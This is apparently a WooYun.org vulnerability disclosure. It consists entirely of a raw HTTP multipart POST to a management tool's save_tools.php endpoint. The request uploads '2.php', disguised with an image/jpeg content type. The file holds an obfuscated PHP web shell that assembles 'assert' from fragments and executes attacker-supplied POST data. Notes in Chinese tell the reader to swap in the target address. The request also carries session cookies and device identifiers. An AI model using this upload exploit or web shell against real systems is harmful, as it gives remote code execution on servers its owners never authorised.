WooYun.org

POST /tools/manage/save_tools.php HTTP/1.1
Host: 127.0.0.1 （修改这地址）
Proxy-Connection: keep-alive
Content-Length: 1268
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1/ （修改这地址）
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEJXH1fwCho42vwKj
Referer: http://127.0.0.1/tools/manage/online_tools_manage.php?li=6&a=21
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=rjru5fik8n930ghdoosk7gqa71; scName=DMZ-wsus(2); GUID=C8DDCDA9-85A4-41BB-9468-A18686AB9F15; SCIP=221.10.92.11; topSC=1; popedom=2222222222; kidtype=6966; hid=B4490BC4; sn=106000-011007-045265-561842; C8DDCDA9-85A4-41BB-9468-A18686AB9F15admin=%7B%22btype%22%3A%221%22%2C%22rtype%22%3A%220%22%2C%22gids%22%3A%5B%221%22%5D%2C%22ttype%22%3A%224%22%2C%22stime%22%3A%220%22%2C%22etime%22%3A%220%22%2C%22stext%22%3A%22%22%7D; SCNum=2
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
ksuploadtools
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolImage"; filename="2.php"
Content-Type: image/jpeg
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolImageType"
1
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolFileName"
1.exe
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolFile"; filename="1.exe"
Content-Type: application/x-msdownload
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolName"
1.exe
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolDescri"
123123
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolOS"
Win8
------WebKitFormBoundaryEJXH1fwCho42vwKj
Content-Disposition: form-data; name="toolOSStr"
Win8
------WebKitFormBoundaryEJXH1fwCho42vwKj--